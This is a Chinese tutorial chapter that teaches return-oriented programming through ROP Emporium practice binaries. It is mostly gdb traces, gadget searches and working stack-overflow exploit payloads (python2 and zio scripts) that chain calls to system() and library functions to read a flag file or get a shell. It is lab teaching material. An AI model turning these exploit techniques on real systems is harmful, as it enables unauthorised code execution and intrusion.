3.1.4 返回导向编程(ROP)(x86)
返回导向编程(Return-Oriented Programming,缩写:ROP)是一种高级的内存攻击技术,该技术允许攻击者在现代操作系统的各种通用防御下执行代码,如内存不可执行和代码签名等。这类攻击往往利用操作堆栈调用时的程序漏洞,通常是缓冲区溢出。攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(gadgets),每一段 gadget 通常以 return 指令(
ret
,机器码为c3
)结束,并位于共享库代码中的子程序中。通过执行这些指令序列,也就控制了程序的执行。ret
指令相当于 pop eip
。即,首先将 esp
指向的 4 字节内容读取并赋值给 eip
,然后 esp
加上 4 字节指向栈的下一个位置。如果当前执行的指令序列仍然以 ret
指令结束,则这个过程将重复, esp
再次增加并且执行下一个指令序列。- 1.在程序中寻找所有的 c3(ret) 字节
- 2.向前搜索,看前面的字节是否包含一个有效指令,这里可以指定最大搜索字节数,以获得不同长度的 gadgets
- 3.记录下我们找到的所有有效指令序列
对于 gadgets 能做的事情,基本上只要你敢想,它就敢执行。下面简单介绍几种用法:
- 保存栈数据到寄存器
- 将栈顶的数据抛出并保存到寄存器中,然后跳转到新的栈顶地址。所以当返回地址被一个 gadgets 的地址覆盖,程序将在返回后执行该指令序列。
- 如:
pop eax; ret
- 保存内存数据到寄存器
- 将内存地址处的数据加载到内存器中。
- 如:
mov ecx,[eax]; ret
- 保存寄存器数据到内存
- 将寄存器的值保存到内存地址处。
- 如:
mov [eax],ecx; ret
- 算数和逻辑运算
- add, sub, mul, xor 等。
- 如:
add eax,ebx; ret
,xor edx,edx; ret
- 系统调用
- 执行内核中断
- 如:
int 0x80; ret
,call gs:[0x10]; ret
- 会影响栈帧的 gadgets
- 这些 gadgets 会改变 ebp 的值,从而影响栈帧,在一些操作如 stack pivot 时我们需要这样的指令来转移栈帧。
- 如:
leave; ret
,pop ebp; ret
ROP Emporium 提供了一系列用于学习 ROP 的挑战,每一个挑战都介绍了一个知识,难度也逐渐增加,是循序渐进学习 ROP 的好资料。ROP Emporium 还有个特点是它专注于 ROP,所有挑战都有相同的漏洞点,不同的只是 ROP 链构造的不同,所以不涉及其他的漏洞利用和逆向的内容。每个挑战都包含了 32 位和 64 位的程序,通过对比能帮助我们理解 ROP 链在不同体系结构下的差异,例如参数的传递等。这篇文章我们就从这些挑战中来学习吧。
这些挑战 都包含一个
flag.txt
的文件,我们的目标就是通过控制程序执行,来打印出文件中的内容。当然你也可以尝试获得 shell。通常情况下,对于一个有缓冲区溢出的程序,我们通常先输入一定数量的字符填满缓冲区,然后是精心构造的 ROP 链,通过覆盖堆栈上保存的返回地址来实现函数跳转(关于缓冲区溢出请查看上一章 3.1.3栈溢出)。
第一个挑战我会尽量详细一点,因为所有挑战程序都有相似的结构,缓冲区大小都一样,我们看一下漏洞函数:
gdb-peda$ disassemble pwnme
Dump of assembler code for function pwnme:
0x080485f6 <+0>: push ebp
0x080485f7 <+1>: mov ebp,esp
0x080485f9 <+3>: sub esp,0x28
0x080485fc <+6>: sub esp,0x4
0x080485ff <+9>: push 0x20
0x08048601 <+11>: push 0x0
0x08048603 <+13>: lea eax,[ebp-0x28]
0x08048606 <+16>: push eax
0x08048607 <+17>: call 0x8048460 <[email protected]>
0x0804860c <+22>: add esp,0x10
0x0804860f <+25>: sub esp,0xc
0x08048612 <+28>: push 0x804873c
0x08048617 <+33>: call 0x8048420 <[email protected]>
0x0804861c <+38>: add esp,0x10
0x0804861f <+41>: sub esp,0xc
0x08048622 <+44>: push 0x80487bc
0x08048627 <+49>: call 0x8048420 <[email protected]>
0x0804862c <+54>: add esp,0x10
0x0804862f <+57>: sub esp,0xc
0x08048632 <+60>: push 0x8048821
0x08048637 <+65>: call 0x8048400 <[email protected]>
0x0804863c <+70>: add esp,0x10
0x0804863f <+73>: mov eax,ds:0x804a060
0x08048644 <+78>: sub esp,0x4
0x08048647 <+81>: push eax
0x08048648 <+82>: push 0x32
0x0804864a <+84>: lea eax,[ebp-0x28]
0x0804864d <+87>: push eax
0x0804864e <+88>: call 0x8048410 <[email protected]>
0x08048653 <+93>: add esp,0x10
0x08048656 <+96>: nop
0x08048657 <+97>: leave
0x08048658 <+98>: ret
End of assembler dump.
gdb-peda$ disassemble ret2win
Dump of assembler code for function ret2win:
0x08048659 <+0>: push ebp
0x0804865a <+1>: mov ebp,esp
0x0804865c <+3>: sub esp,0x8
0x0804865f <+6>: sub esp,0xc
0x08048662 <+9>: push 0x8048824
0x08048667 <+14>: call 0x8048400 <[email protected]>
0x0804866c <+19>: add esp,0x10
0x0804866f <+22>: sub esp,0xc
0x08048672 <+25>: push 0x8048841
0x08048677 <+30>: call 0x8048430 <[email protected]>
0x0804867c <+35>: add esp,0x10
0x0804867f <+38>: nop
0x08048680 <+39>: leave
0x08048681 <+40>: ret
End of assembler dump.
函数
pwnme()
是存在缓冲区溢出的函数,它调用 fgets()
读取任意数据,但缓冲区的大小只有 40 字节(0x0804864a <+84>: lea eax,[ebp-0x28]
,0x28=40),当输入大于 40 字节的数据时,就可以覆盖掉调用函数的 ebp 和返回地址:gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/firmy/Desktop/rop_emporium/ret2win32/ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
EBX: 0x0
ECX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
EDX: 0xf7f90860 --> 0x0
ESI: 0xf7f8ee28 --> 0x1d1d30
EDI: 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')
0004| 0xffffd5f4 --> 0xffffd610 --> 0x1
0008| 0xffffd5f8 --> 0x0
0012| 0xffffd5fc --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10)
0016| 0xffffd600 --> 0xf7f8ee28 --> 0x1d1d30
0020| 0xffffd604 --> 0xf7f8ee28 --> 0x1d1d30
0024| 0xffffd608 --> 0x0
0028| 0xffffd60c --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ pattern_offset $ebp
1093681473 found at offset: 40
gdb-peda$ pattern_offset $eip
1094796865 found at offset: 44
缓冲区距离 ebp 和 eip 的偏移分别为 40 和 44,这就验证了我们的假设。
通过查看程序的逻辑,虽然我们知道 .text 段中存在函数
ret2win()
,但在程序执行中并没有调用到它,我们要做的就是用该函数的地址覆盖返回地址,使程序跳转到该函数中,从而打印出 flag,我们称这一类型的 ROP 为 ret2text。还有一件重要的事情是 checksec:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
这里开启了关闭了 PIE,所以 .text 的加载地址是不变的,可以直接使用
ret2win()
的地址 0x08048659
。payload 如下(注这篇文章中的paylaod我会使用多种方法来写,以展示各种工具的使用):
$ python2 -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32
...
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
现在是 64 位程序:
gdb-peda$ disassemble pwnme
Dump of assembler code for function pwnme:
0x00000000004007b5 <+0>: push rbp
0x00000000004007b6 <+1>: mov rbp,rsp
0x00000000004007b9 <+4>: sub rsp,0x20
0x00000000004007bd <+8>: lea rax,[rbp-0x20]
0x00000000004007c1 <+12>: mov edx,0x20
0x00000000004007c6 <+17>: mov esi,0x0
0x00000000004007cb <+22>: mov rdi,rax
0x00000000004007ce <+25>: call 0x400600 <[email protected]>
0x00000000004007d3 <+30>: mov edi,0x4008f8
0x00000000004007d8 <+35>: call 0x4005d0 <[email protected]>
0x00000000004007dd <+40>: mov edi,0x400978
0x00000000004007e2 <+45>: call 0x4005d0 <[email protected]>
0x00000000004007e7 <+50>: mov edi,0x4009dd
0x00000000004007ec <+55>: mov eax,0x0
0x00000000004007f1 <+60>: call 0x4005f0 <[email protected]>
0x00000000004007f6 <+65>: mov rdx,QWORD PTR [rip+0x200873] # 0x601070 <[email protected]@GLIBC_2.2.5>
0x00000000004007fd <+72>: lea rax,[rbp-0x20]
0x0000000000400801 <+76>: mov esi,0x32
0x0000000000400806 <+81>: mov rdi,rax
0x0000000000400809 <+84>: call 0x400620 <[email protected]>
0x000000000040080e <+89>: nop
0x000000000040080f <+90>: leave
0x0000000000400810 <+91>: ret
End of assembler dump.
gdb-peda$ disassemble ret2win
Dump of assembler code for function ret2win:
0x0000000000400811 <+0>: push rbp
0x0000000000400812 <+1>: mov rbp,rsp
0x0000000000400815 <+4>: mov edi,0x4009e0
0x000000000040081a <+9>: mov eax,0x0
0x000000000040081f <+14>: call 0x4005f0 <[email protected]>
0x0000000000400824 <+19>: mov edi,0x4009fd
0x0000000000400829 <+24>: call 0x4005e0 <[email protected]>
0x000000000040082e <+29>: nop
0x000000000040082f <+30>: pop rbp
0x0000000000400830 <+31>: ret
End of assembler dump.
首先与 32 位不同的是参数传递,64 位程序的前六个参数通过 RDI、RSI、RDX、RCX、R8 和 R9 传递。所以缓冲区大小参数通过 rdi 传递给
fgets()
,大小为 32 字节。而且由于 ret 的地址不存在,程序停在了
=> 0x400810 <pwnme+91>: ret
这一步,这是因为 64 位可以使用的内存地址不能大于 0x00007fffffffffff
,否则就会抛出异常。gdb-peda$ r
Starting program: /home/firmy/Desktop/rop_emporium/ret2win/ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RBX: 0x0
RCX: 0x1f
RDX: 0x7ffff7dd4710 --> 0x0
RSI: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RDI: 0x7fffffffe401 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffe428 ("AA0AAFAAb")
RIP: 0x400810 (<pwnme+91>: ret)
R8 : 0x0
R9 : 0x7ffff7fb94c0 (0x00007ffff7fb94c0)
R10: 0x602260 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
R11: 0x246
R12: 0x400650 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe510 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400809 <pwnme+84>: call 0x400620 <[email protected]>
0x40080e <pwnme+89>: nop
0x40080f <pwnme+90>: leave
=> 0x400810 <pwnme+91>: ret
0x400811 <ret2win>: push rbp
0x400812 <ret2win+1>: mov rbp,rsp
0x400815 <ret2win+4>: mov edi,0x4009e0
0x40081a <ret2win+9>: mov eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe428 ("AA0AAFAAb")
0008| 0x7fffffffe430 --> 0x400062 --> 0x1f8000000000000
0016| 0x7fffffffe438 --> 0x7ffff7a41f6a (<__libc_start_main+234>: mov edi,eax)
0024| 0x7fffffffe440 --> 0x0
0032| 0x7fffffffe448 --> 0x7fffffffe518 --> 0x7fffffffe870 ("/home/firmy/Desktop/rop_emporium/ret2win/ret2win")
0040| 0x7fffffffe450 --> 0x100000000
0048| 0x7fffffffe458 --> 0x400746 (<main>: push rbp)
0056| 0x7fffffffe460 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400810 in pwnme ()
gdb-peda$ pattern_offset $rbp
7007954260868540737 found at offset: 32
gdb-peda$ pattern_offset AA0AAFAAb
AA0AAFAAb found at offset: 40
re2win()
的地址为 0x0000000000400811
,payload 如下:from zio import *
payload = "A"*40 + l64(0x0000000000400811)
io = zio('./ret2win')
io.writeline(payload)
io.read()
这一题也是 ret2text,但这一次,我们有的是一个
usefulFunction()
函数:gdb-peda$ disassemble usefulFunction
Dump of assembler code for function usefulFunction:
0x08048649 <+0>: push ebp
0x0804864a <+1>: mov ebp,esp
0x0804864c <+3>: sub esp,0x8
0x0804864f <+6>: sub esp,0xc
0x08048652 <+9>: push 0x8048747
0x08048657 <+14>: call 0x8048430 <[email protected]>
0x0804865c <+19>: add esp,0x10
0x0804865f <+22>: nop
0x08048660 <+23>: leave
0x08048661 <+24>: ret
End of assembler dump.
它调用
system()
函数,而我们要做的是给它传递一个参数,执行该参数后可以打印出 flag。使用 radare2 中的工具 rabin2 在
.data
段中搜索字符串:$ rabin2 -z split32
...
vaddr=0x0804a030 paddr=0x00001030 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt
我们发现存在字符串
/bin/cat flag.txt
,这正是我们需要的,地址为 0x0804a030
。下面构造 payload,这里就有两种方法,一种是直接使用调用
system()
函数的地址 0x08048657
,另一种是使用 system()
的 plt 地址 0x8048430
,在前面的章节中我们已经知道了 plt 的延迟绑定机制(1.5.6动态链接),这里我们再回顾一下:绑定前:
gdb-peda$ disassemble system
Dump of assembler code for function [email protected]:
0x08048430 <+0>: jmp DWORD PTR ds:0x804a018
0x08048436 <+6>: push 0x18
0x0804843b <+11>: jmp 0x80483f0
gdb-peda$ x/5x 0x804a018
0x804a018: 0x08048436 0x08048446 0x08048456 0x08048466
0x804a028: 0x00000000
绑定后 :
gdb-peda$ disassemble system
Dump of assembler code for function system:
0xf7df9c50 <+0>: sub esp,0xc
0xf7df9c53 <+3>: mov eax,DWORD PTR [esp+0x10]
0xf7df9c57 <+7>: call 0xf7ef32cd <__x86.get_pc_thunk.dx>
0xf7df9c5c <+12>: add edx,0x1951cc
0xf7df9c62 <+18>: test eax,eax
0xf7df9c64 <+20>: je 0xf7df9c70 <system+32>
0xf7df9c66 <+22>: add esp,0xc
0xf7df9c69 <+25>: jmp 0xf7df9700 <do_system>
0xf7df9c6e <+30>: xchg ax,ax
0xf7df9c70 <+32>: lea eax,[edx-0x57616]
0xf7df9c76 <+38>: call 0xf7df9700 <do_system>
0xf7df9c7b <+43>: test eax,eax
0xf7df9c7d <+45>: sete al
0xf7df9c80 <+48>: add esp,0xc
0xf7df9c83 <+51>: movzx eax,al
0xf7df9c86 <+54>: ret
End of assembler dump.
gdb-peda$ x/5x 0x08048430
0x8048430 <[email protected]>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0
0x8048440 <[email protected]>: 0xa01c25ff
其实这里讲 plt 不是很确切,因为 system 使用太频繁,在我们使用它之前,它就已经绑定了,在后面的挑战中我们会遇到没有绑定的情况。
两种 payload 如下:
$ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32
...
> ROPE{a_placeholder_32byte_flag!}
from zio import *
payload = "A"*44
payload += l32(0x08048430)
payload += "BBBB"
payload += l32(0x0804a030)
io = zio('./split32')
io.writeline(payload)
io.read()
注意 "BBBB" 是新的返回地址,如果函数 ret,就会执行 "BBBB" 处的指令,通常这里会放置一些
pop;pop;ret
之类的指令地 址,以平衡堆栈。从 system() 函数中也能看出来,它现将 esp 减去 0xc,再取地址 esp+0x10 处的指令,也就是 "BBBB" 的后一个,即字符串的地址。因为 system()
是 libc 中的函数,所以这种方法称作 ret2libc。$ rabin2 -z split
...
vaddr=0x00601060 paddr=0x00001060 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt
字符串地址在
0x00601060
。gdb-peda$ disassemble usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400807 <+0>: push rbp
0x0000000000400808 <+1>: mov rbp,rsp
0x000000000040080b <+4>: mov edi,0x4008ff
0x0000000000400810 <+9>: call 0x4005e0 <[email protected]>
0x0000000000400815 <+14>: nop
0x0000000000400816 <+15>: pop rbp
0x0000000000400817 <+16>: ret
End of assembler dump.
64 位程序的第一个参数通过 edi 传递,所以我们需要再调用一个 gadgets 来将字符串的地址存进 edi。
我们先找到需要的 gadgets:
gdb-peda$ ropsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00400883 : (b'5fc3') pop rdi; ret
下面是 payload:
$ python2 -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split
...
> ROPE{a_placeholder_32byte_flag!}
那我们是否还可以用前面那种方法调用
system()
的 plt 地址 0x4005e0
呢:gdb-peda$ disassemble system
Dump of assembler code for function system:
0x00007ffff7a63010 <+0>: test rdi,rdi
0x00007ffff7a63013 <+3>: je 0x7ffff7a63020 <system+16>
0x00007ffff7a63015 <+5>: jmp 0x7ffff7a62a70 <do_system>
0x00007ffff7a6301a <+10>: nop WORD PTR [rax+rax*1+0x0]
0x00007ffff7a63020 <+16>: lea rdi,[rip+0x138fd6] # 0x7ffff7b9bffd
0x00007ffff7a63027 <+23>: sub rsp,0x8
0x00007ffff7a6302b <+27>: call 0x7ffff7a62a70 <do_system>
0x00007ffff7a63030 <+32>: test eax,eax
0x00007ffff7a63032 <+34>: sete al
0x00007ffff7a63035 <+37>: add rsp,0x8
0x00007ffff7a63039 <+41>: movzx eax,al
0x00007ffff7a6303c <+44>: ret
End of assembler dump.
依然可以,因为参数的传递没有用到栈,我们只需把地址直接更改就可以了:
from zio import *
payload = "A"*40
payload += l64(0x00400883)
payload += l64(0x00601060)
payload += l64(0x4005e0)
io = zio('./split')
io.writeline(payload)
io.read()
这里我们要接触真正的 plt 了,根据题目提示,callme32 从共享库 libcallme32.so 中导入三个特殊的函数:
$ rabin2 -i callme32 | grep callme
ordinal=004 plt=0x080485b0 bind=GLOBAL type=FUNC name=callme_three
ordinal=005 plt=0x080485c0 bind=GLOBAL type=FUNC name=callme_one
ordinal=012 plt=0x08048620 bind=GLOBAL type=FUNC name=callme_two
我们要做的是依次调用
callme_one()
、callme_two()
和 callme_three()
,并且每个函数都要传入参数 1
、2
、3
。通过调试我们能够知道函数逻辑,callme_one
用于读入加密后的 flag,然后依次调用 callme_two
和 callme_three
进行解密。由于函数参数是放在栈上的,为了平衡堆栈,我们需要一个
pop;pop;pop;ret
的 gadgets:$ objdump -d callme32 | grep -A 3 pop
...
80488a8: 5b pop %ebx
80488a9: 5e pop %esi
80488aa: 5f pop %edi
80488ab: 5d pop %ebp
80488ac: c3 ret
80488ad: 8d 76 00 lea 0x0(%esi),%esi
...
或者是
add esp, 8; pop; ret
,反正只要能平衡,都可以:gdb-peda$ ropsearch "add esp, 8"
Searching for ROP gadget: 'add esp, 8' in: binary ranges
0x08048576 : (b'83c4085bc3') add esp,0x8; pop ebx; ret
0x080488c3 : (b'83c4085bc3') add esp,0x8; pop ebx; ret
构造 payload 如下:
from zio import *
payload = "A"*44
payload += l32(0x080485c0)
payload += l32(0x080488a9)
payload += l32(0x1) + l32(0x2) + l32(0x3)
payload += l32(0x08048620)
payload += l32(0x080488a9)
payload += l32(0x1) + l32(0x2) + l32(0x3)
payload += l32(0x080485b0)
payload += l32(0x080488a9)
payload += l32(0x1) + l32(0x2) + l32(0x3)
io = zio('./callme32')
io.writeline(payload)
io.read()
64 位程序不需要平衡堆栈了,只要将参数按顺序依次放进寄存器中就可以了。
$ rabin2 -i callme | grep callme
ordinal=004 plt=0x00401810 bind=GLOBAL type=FUNC name=callme_three
ordinal=008 plt=0x00401850 bind=GLOBAL type=FUNC name=callme_one
ordinal=011 plt=0x00401870 bind=GLOBAL type=FUNC name=callme_two
gdb-peda$ ropsearch "pop rdi; pop rsi"
Searching for ROP gadget: 'pop rdi; pop rsi' in: binary ranges
0x00401ab0 : (b'5f5e5ac3') pop rdi; pop rsi; pop rdx; ret
payload 如下:
from zio import *
payload = "A"*40
payload += l64(0x00401ab0)
payload += l64(0x1) + l64(0x2) + l64(0x3)
payload += l64(0x00401850)
payload += l64(0x00401ab0)
payload += l64(0x1) + l64(0x2) + l64(0x3)
payload += l64(0x00401870)
payload += l64(0x00401ab0)
payload += l64(0x1) + l64(0x2) + l64(0x3)
payload += l64(0x00401810)
io = zio('./callme')
io.writeline(payload)
io.read()
这一次,我们已经不能在程序中找到可以执行的语句了,但我们可以利用 gadgets 将
/bin/sh
写入到目标进程的虚拟内存空间中,如 .data
段中,再调用 system() 执行它,从而拿到 shell。要认识到一个重要的点是,ROP 只是一种任意代码执行的形式,只要我们有创意,就可以利用它来执行诸如内存读写等操作。这种方法虽然好用,但还是要考虑我们写入地址的读写和执行权限,以及它能提供的空间是多少,我们写入的内容是否会影响到程序执行等问题。如我们接下来想把字符串写入
.data
段,我们看一下它的权限和大小等信息:$ readelf -S write432
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4
[25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4
可以看到
.data
具有 WA
,即写入(write)和分配(alloc)的权利,而 .rodata
就不能写入。